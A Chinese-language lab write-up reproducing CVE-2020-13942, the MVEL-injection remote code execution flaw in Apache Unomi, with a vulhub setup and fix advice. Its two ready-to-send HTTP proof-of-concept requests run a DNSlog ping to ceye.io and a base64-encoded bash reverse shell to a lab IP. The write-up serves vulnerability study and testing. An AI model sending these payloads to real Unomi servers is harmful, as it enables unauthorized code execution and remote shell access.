CVE-2020-13942 Apache Unomi 远程代码执行漏洞复现
简介
Apache Unomi 是一个基于标准的客户/数据平台(CDP,Customer Data Platform),用于管理在线客户和访客等信息,以提供符合访客隐私规则的个性化体验,比如 GDPR 和“不跟踪”偏好设置。其最初于 Jahia 开发,2015 年 10 月提交给了 Apache 孵化器。
Apache Unomi 具有隐私管理、用户/事件/目标跟踪、报告、访客资料管理、细分、角色、A/B 测试等功能,它可以作为:
Ø Web CMS 个性化服务
Ø 原生移动应用的分析服务
Ø 具有分段功能的集中配置文件管理系统
Ø 授权管理中心
漏洞概述
在Apache Unomi 1.5.1版本之前,攻击者可以通过精心构造的MVEL或ONGl表达式来发送恶意请求,使得Unomi服务器执行任意代码,漏洞对应编号为CVE-2020-11975,而CVE-2020-13942漏洞是对CVE-2020-11975漏洞的补丁绕过,攻击者绕过补丁检测的黑名单,发送恶意请求,在服务器执行任意代码。
漏洞影响版本
Apache Unomi < 1.5.2
环境搭建
使用vulhub的环境即可
cd vulhub/unomi/CVE-2020-13942/
docker-compose up -d
漏洞复现
在浏览器中访问http://your-ip:8181
出现如下页面即代表环境搭建成功
访问context.json
进行抓包
将发包方式改为POST发包
DNSlog验证
POC:
POST /context.json HTTP/1.1
Host: 192.168.109.128:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 493
{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"ping xxxxxx.ceye.io\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
反弹shell
POC:
POST /context.json HTTP/1.1
Host: 192.168.109.128:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 569
{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwOS4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
修复建议
1、尽可能避免将用户数据放入表达式解释器中。
2、目前厂商已发布最新版本,请受影响用户及时下载并更新至最新版本。官方链接如下:https://unomi.apache.org/download.html